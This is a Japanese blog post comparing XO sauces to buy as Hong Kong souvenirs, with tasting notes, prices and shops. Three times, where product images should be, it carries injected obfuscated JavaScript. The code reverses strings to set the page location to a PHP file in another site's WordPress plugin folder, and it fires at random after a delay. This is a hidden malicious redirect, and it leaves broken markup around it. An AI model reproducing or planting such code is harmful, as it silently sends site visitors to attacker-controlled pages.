香港のお土産と言えば色々ありますが、XO醤も有名ですよね。XO醤は高級ホテルが出しているものや調味料メーカーがだしているもの様々です。
今回は私がおすすめするXO醤の値段と各メーカーの味の比較をしてみたので、購入する際に参考にしてください。
香港で購入できるおすすめのXO醤
ペニンシュラ「嘉麟楼(スプリングムーン)」
XO醤発祥のレストランということもあり香港一有名なペニンシュラ。ここのXO醤は味が濃厚で海鮮の香りがとても強いです。オイルが少な目で具が多く入っており、高いのも頷けるおいしさです。しかし、辛さはとても強いので、辛い物が苦手なかたにはおすすめできません。
ペニンシュラのXOには2種類あり、ブティックで売っているものと、レストラン「嘉麟楼」で購入できるものがあります。おすすめなのは、レストランで直接詰めてもらうXO醤です。レストランで食事をしなくてもお店まで行くと購入可能です。
こちらは保存料など一切入っていない本当のオリジナルのため、賞味期限は1か月と短いのが難点です。日本に持ち帰る際はちきんと蓋がされているか確かめましょう。
◆値段
380ドル(220g)
◆購入場所
- 香港ペニンシュラホテル地下ブティック
- 香港の空港内
- 香港ペニンシュラレストラン「嘉麟楼」(食事をしなくても購入可能)
ミシュラン1つ星の「夜上海の特製XO豆板醤」
$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolife” title=”” src=”https://www.bigomagazine.com/wp-content/uploads/hatena/20181121171924.jpg” alt=”夜上海の特製XO豆板醤の写真” />
マルコポーロホテルの中にあるミシュラン一つ星の「夜上海」が販売しているXO醤も人気です。ミシュランもとっている夜上海のXO醤にも関わらず、値段も高すぎず、量もそこそこあるのでお土産には一番お勧めです。
こちらのXO醤は金華ハム、干しエビ、ニンニク、エビの卵、貝柱、油、砂糖、豆板醤が入っています。少し甘めの味とほどよい海鮮の香りもあり、最後にピリ辛の後味が残り、やみつきになるおいしさです。そのまま食べてもいいですし、点心などと一緒に食べてもいいです。防腐剤不使用のため要冷蔵庫です。
夜上海で食事をするとテーブルに、料理の突き出しと共に、瓶にたっぷり入ったXO醤が置いてあります。
他の物に比べると辛くはないですが、個人的にはニンニクがきついな、と感じます。
◆値段
110ドル(約1500円)
※外箱はなく瓶のみですが、ジップロックの袋もくれます。
◆購入可能場所
- 尖沙咀:マルコポーロホテル6階「夜上海」
- 金鐘:パシフィックプレイス3階「夜上海」
※食事をしなくても購入可能
ミシュラン3つ星レストラン「龍景軒」
中華料理で世界初のミシュラン3つ星を獲得した「龍景軒」。ここのXO醤は普通のとベジタリアン(ベジタブル)の2種類を作っているのが特徴です。
ベジタリアンのXO醤は豆鼓(トウチー)やカブ、枝豆、干し椎茸などが入っています。XO醤の辛さは全くなく、椎茸の甘さとザーサイの酸味があります。お漬物のような感覚で、日本人受けする味です。実際このベジタリアンのXO醤は日本人のファンが多く、通常のXO醤よりも人気があります。ヘルシー志向の女性へのお土産にも最適ですね。
黒と金色の立派な外箱に入っており、液漏れしないよう完全密封されています。
香港で入手したベジタブルXO醤。
フォーシーズンズ香港にある、香港初にして唯一のミシュラン3星レストラン「龍景軒」特製の逸品。ホテル内で入手できます。どんな料理にも相性バツグン。香港に行かれた機会にぜひ。 pic.twitter.com/dzD8q53A31— 井上知幸 (@inouexpo) May 3, 2015
◆値段
- XO醤:240ドル
- ベジタブルXO醤:180ドル
◆購入可能場所
- フォーシーズンズホテル「龍景軒」(食事をしなくても購入可能)
私が一番好きなXO醤コンラッドホテル内「金葉庭」
あまり有名ではないかもしれませんが私が一番好きなXO醤がコンラッドに入ってい中華レストラン「金葉庭」のXO醤です。
そこまで辛くなく、ニンニクも効きすぎていないですが、味はしっかりしており上品な味で本当に美味しいです。
ペニンシュラほど値段も高くないのでちょっといいお土産にはぴったりです。
◆値段
238ドル(約3300円)
◆購入可能場所
金鐘コンラッドホテル地下「金葉庭」
ローカルスーパーで購入できる「李錦記」
$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolife alignnone” src=”https://www.bigomagazine.com/wp-content/uploads/hatena/20181121171633.jpg” alt=”李錦記のXO醤の写真” width=”768″ height=”1024″ />
日本でもおなじみ「李錦記」。香港のローカルスーパーで購入できる気軽さからお土産に親しまれています。李錦記のオイスターソースが使われたこちらのXO醤は、アワビも含まれており、高級ホテルにも劣らずうまみのある商品になっています。
李錦記のXO醤には3種類あり、オリジナル(辛くない)・辛い・オリーブオイルを使ったもの、があります。サイズも2種類あり、一つは100g以下のため機内に持ち込みOKです。
万人受けするお味なので一度XO醤ってどういうものか試したい人にもおすすめです。
◆値段
- 50ドル(80g)
- 108ドル(220g)
◆購入可能場所
香港ローカルスーパー(ウェルカム、パークンショップなど)
◆楽天ならここが最安値
横浜中華街 李錦記 海鮮 XO醤<エックスオージャン> 80g、ミニサイズ、家庭用最適、干しえびホタテ貝柱を多く使用した最高級食べる辣油♪
◆Amazonでも700円台から購入できます
創業86年老舗ブランド「八珍」
1932年創業の老舗調味料メーカー「八珍」。日本人にはあまりなじみのないブランドですが、現地の香港人や中国人観光客からも品揃えの豊富さ、お手頃な価格が人気です。
大好きな香港の調味料屋『八珍醬園』のXO醤油。以前、こちらのXO醤ちまき(端午節限定)を食べたところ、それはそれはンマくてですね…。貝柱やエビがぎっしりで、このままごはんの友に出来る程。高級ホテルやレストランの物に比べてお安く、85HKドルで美味しさを得られますのだ。 pic.twitter.com/tC0ntl8Tez
旺角やセントラルには路面店もあり、50種類以上の調味料が並んでいます。
こちらのXO醤はホタテがたっぷり含まれており、食べ応えのある食感があります。適度な辛さ加減と後味が残るのでお酒の肴にはぴったりです。また化学調味料不使用で安心です。
ただし結構ニンニクが効いています。
◆値段
88ドル(130g)
◆購入可能場所
- シティースーパー
- AEONのスーパーマーケット
- 専門店(旺角、セントラル他)
日本の雑誌でも紹介された「蘇太名醤」
$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolife” title=”” src=”https://www.bigomagazine.com/wp-content/uploads/hatena/20181121172007.jpg” alt=”蘇太のXO醤の写真” />
最近日本人に人気なのがこちらのXO醤。商品名にある「蘇太」とは『蘇さんの奥さん』という意味で、その奥さんが15年以上前から友人にプレゼントとして贈っていた自家製XO醤が好評だったことから数年前に商品化されました。
こちらのXO醤は、貝柱が裂けているタイプではなく、具がざく切りタイプで大きめです。海鮮独特のにおいが強くなく、味もさっぱりとしています。基本的に辛いXO醤ですが、こちらのオリジナル(原味)は辛さが控えめなので辛い物が苦手なかたにも楽しめるXO醤です。こちらも人工着色料や防腐剤を一切入っていません。高級なパッケージでお土産にもピッタリです。
◆値段
- 78ドル(100g)
- 128ドル(190g)
- 198ドル(300g)
◆購入可能場所
- シティースーパー
- 専門店(九龍城、西環)
香港でXO醤を購入する際の注意点
XO醤は液体です。100gのXO醤を購入される際は、機内持ち込みではなく、必ず預け荷物に入れてください。もし荷物を預ける必要のない方は、空港内になるペニンシュラブティックにもXO醤の取り扱いがあるので、そちらで購入してください。
香港の名物XO醤について
XO醤って?語源由来と含まれている材料
1980年に香港ペニンシュラホテルの広東レストラン「嘉麟楼(スプリングムーン)」の料理長が新しい調味料「XO醤」を開発。。名称はブランデーの最高級を表すXOから来ており、実際にお酒を使っているわけではなく、干し貝柱や干しエビ、金華ハム、にんにく、しょうが、トウガラシなどの材料で作られています。
日本でも流行った食べるラー油の高級版だと思ったらいいと思います。
XO醤の食べ方は?
具だくさんの調味料ということでそのまま食べても美味しいですし、佃煮状になっているので、炒め物や炒飯、煮物に加えたり、お粥や麺類、点心の薬味として使えます。お酒のあてだとクラッカーにのせたり、クリームチーズと合えても美味しいです。
香港では卓上調味料や箸休めとして使われています。
まとめ
一番有名なペニンシュラはお値段も高級なので、予算にあったXO醤を探してみてください。食べ比べをすると、そのお店の違いが一目瞭然でわかるため楽しいです。
是非参考にしてください。
香港のスーパーで購入できるお土産もまとめています。XO醤以外のアイテムもあるのでみてください。
コメント